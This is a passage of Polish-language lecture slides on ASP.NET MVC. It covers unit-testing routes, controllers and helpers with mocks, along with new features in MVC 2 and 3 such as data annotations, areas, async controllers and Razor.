Page 80: ASP.NET MVC - najważniejsze założenia

TDD i ASP.NET

• ASP.NET Web Forms– Trudne do testowania– Wiele elementów zależnych od IIS

• ASP.NET MVC– Dużo nacisku na modularną architekturę– Dobra integracja z frameworkami do

„mockowania”– Integracja z wybranym frameworkiem do testów

– np. nUnit, mbUnit, Xunit, Visual Studio, …

Page 81: ASP.NET MVC - najważniejsze założenia

Routing – przykładowy test

[TestMethod]public void CanMapNormalControllerActionRoute(){ //arrange RouteCollection routes = new RouteCollection(); MvcApplication.RegisterRoutes(routes); var httpContextMock = new Mock<HttpContextBase>(); httpContextMock.Expect(c => c.Request .AppRelativeCurrentExecutionFilePath).Returns(“~/product/list”); //act RouteData routeData = routes.GetRouteData(httpContextMock.Object); //assert Assert.IsNotNull(routeData, “Should have found the route”); Assert.AreEqual(“product”, routeData.Values[“Controller”]); Assert.AreEqual(“list”, routeData.Values[“action”]); Assert.AreEqual(“”, routeData.Values[“id”]);}

Page 82: ASP.NET MVC - najważniejsze założenia

Kontroler – przykładowy test

public ActionResult Save(string value){

TempData[“TheValue”] = value;return RedirectToAction(“Display”);

}

[TestMethod]public void SaveStoresTempDataValueAndRedirectsToFoo(){ // Arrange var controller = new HomeController(); // Act var result = controller.Save(“is 42”) as RedirectToRouteResult; // Assert Assert.IsNotNull(result, “Expected the result to be a redirect”); Assert.AreEqual(“is 42”, controller.TempData[“TheValue”]; Assert.AreEqual(“Display”, result.Values[“action”]);}

Page 83: ASP.NET MVC - najważniejsze założenia

View Helpers – przykładowy testpublic static string UnorderedList<T>(this HtmlHelper html, IEnumerable<T> items)

[TestMethod]public void UnorderedListWithIntArrayRendersUnorderedListWithNumbers(){

var contextMock = new Mock<HttpContextBase>();var controllerMock = new Mock<IController>();var cc = new ControllerContext(contextMock.Object, new RouteData(),controllerMock.Object);var viewContext = new ViewContext(cc, “n/a”, “n/a”, new ViewDataDictionary(),new TempDataDictionary());var vdcMock = new Mock<IViewDataContainer>();

var helper = new HtmlHelper(viewContext, vdcMock.Object);

string output = helper.UnorderedList(new int[] {0, 1, 2 });Assert.AreEqual(“<ul><li>0</li><li>1</li><li>2</li></ul>”, output);

}

Page 84: ASP.NET MVC - najważniejsze założenia

Widok – przykładowy test

// …nie powinno być co testować – nie spotyka się // często testów

Page 85: ASP.NET MVC - najważniejsze założenia

CO NOWEGOW ASP.NET MVC 2?

(wybrane)

Page 86: ASP.NET MVC - najważniejsze założenia

Silnie typowane Helpery• Nowe helpery dla silnie typowanych widoków

– ValidationMessageFor(o => o.Imie)– TextAreaFor(o => o.Imie)– TextBoxFor(o => o.Opis)– HiddenFor(o => o.Tag)– DropDownListFor(o => o.Zawod)– LabelFor(o => o.Imie)

• Kontrola podczas kompilacji• A można jeszcze szybciej

<%= Html.EditorFor(o => o) %><%= Html.DisplayFor(o => o) %>

• Szablony – kontrolka ascx (Dynamic Data? )– Shared/EditorTemplates oraz Shares/DisplayTemplates– Dla typu z modelu (np. Customer)

[UIHint(„CountryDropDown”]<%= Html.EditorFor(c => c.Country, „CountryDropDown”);

– Dla typu danych (np. [DataType(DataType.EmailAddress)])

Page 87: ASP.NET MVC - najważniejsze założenia

Data Annotations public class Pals { [Required()] [Range(33, 99)] public float Height { get; set; }

[Required()] [StringLength(7)] public string Name { get; set; }

[ScaffoldColumn(false)] public int ID { get; set; } public bool cool { get; set; }

[DataType(DataType.EmailAddress)] [RegularExpression(@"^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$")] public string email { get; set; }

[DataType(DataType.MultilineText)] public string Bio { get; set; } }

// W Post: if (!ModelState.IsValid) …

Page 88: ASP.NET MVC - najważniejsze założenia

Data Annotations – a może separacja?

// Customer.cs - partial// Customer.metadata.cs

// tzw. „Buddy class”

[MetadataType(typeof(CustomerMetaData))]public partial class Customer{    class CustomerMetaData    {        [Required(ErrorMessage="You must supply a name for a customer.")]        [StringLength(50, ErrorMessage = "A customer name cannot exceed 50 characters.")]        public string Name { get; set; }    }}

Page 89: ASP.NET MVC - najważniejsze założenia

Custom Validation public class PriceAttribute : ValidationAttribute { public double MinPrice { get; set; }

public override bool IsValid(object value) { if (value == null) { return true; } var price = (double)value; if (price < MinPrice) { return false; } double cents = price - Math.Truncate(price); if (cents < 0.99 || cents >= 0.995) { return false; }

return true; } }

// [Price(MinPrice = 1.99)]

Page 90: ASP.NET MVC - najważniejsze założenia

Client Validation

• Działa zarówno z Microsoft AJAX jak i jQuery• <% Html.EnableClientValidation(); %>– Przed BeginForm()– Kontrolki dodatkowo uzyskują walidację po

stronie klienta!

Page 91: ASP.NET MVC - najważniejsze założenia

Areas

• Podział skomplikowanego projektu na mniejsze moduły

Page 92: ASP.NET MVC - najważniejsze założenia

Areaspublic class BlogsAreaRegistration : AreaRegistration { public override string AreaName { get { return "Blogs"; } }

public override void RegisterArea(AreaRegistrationContext context) { context.MapRoute( "Blogs_default", "Blogs/{controller}/{action}/{id}", new { action = "Index", id = "" } ); } }

// W Application_Start()// AreaRegistration.RegisterAllAreas();

Page 93: ASP.NET MVC - najważniejsze założenia

Asynchroniczny kontroler (skalowalność!)public class PortalController : AsyncController {public void IndexAsync(string city) {

AsyncManager.OutstandingOperations.Increment(2);

NewsService newsService = new NewsService(); newsService.GetHeadlinesCompleted += (sender, e) => { AsyncManager.Parameters["headlines"] = e.Value; AsyncManager.OutstandingOperations.Decrement(); }; newsService.GetHeadlinesAsync();

WeatherService weatherService = new WeatherService(); weatherService.GetForecastCompleted += (sender, e) => { AsyncManager.Parameters["forecast"] = e.Value; AsyncManager.OutstandingOperations.Decrement(); }; weatherService.GetForecastAsync();}

public ActionResult IndexCompleted(string[] headlines, string[] forecast) { return View("Common", new PortalViewModel { NewsHeadlines = headlines, Weather = forecast });} }

Page 94: ASP.NET MVC - najważniejsze założenia

Inne

• [HttpPost] – krócej• Wartości domyślne parametrów akcji– public ActionResult Edytuj(string cat,

[DefaultValue(1)] int page) { }

• <% Html.RenderAction() %> (ViewResult) i <% Html.Action %>– Renderuje wynik akcji– Cały cykl życia „strony” – np. inny model, itp.

• Blank project template

Page 95: ASP.NET MVC - najważniejsze założenia

CO NOWEGOW ASP.NET MVC 3?

(wybrane)

Page 96: ASP.NET MVC - najważniejsze założenia

Widoki

• Razor– @* *@– @model– Layout, _viewstart.cshtml– Html.Raw– Helpery: Chart, WebGrid, Crypto, WebImage,

WebMail• Wiele silników widoków– Spark, Nhaml, NDjango

Page 97: ASP.NET MVC - najważniejsze założenia

Nowości – c.d.

• Golbal Action Filters• ViewBag• Nowe ActionResults– HttpNotFoundResult, RedirectResult,

HtpStatusCodeResult• AJAX– „unobtrusive”– jQueryValidate

Page 98: ASP.NET MVC - najważniejsze założenia

Remote Validator

Page 99: ASP.NET MVC - najważniejsze założenia

• JSON Binding• Nowe adnotacje (np. Compare)• NuGet• Partial-Page Output Caching• Request validation – [AllowHtml]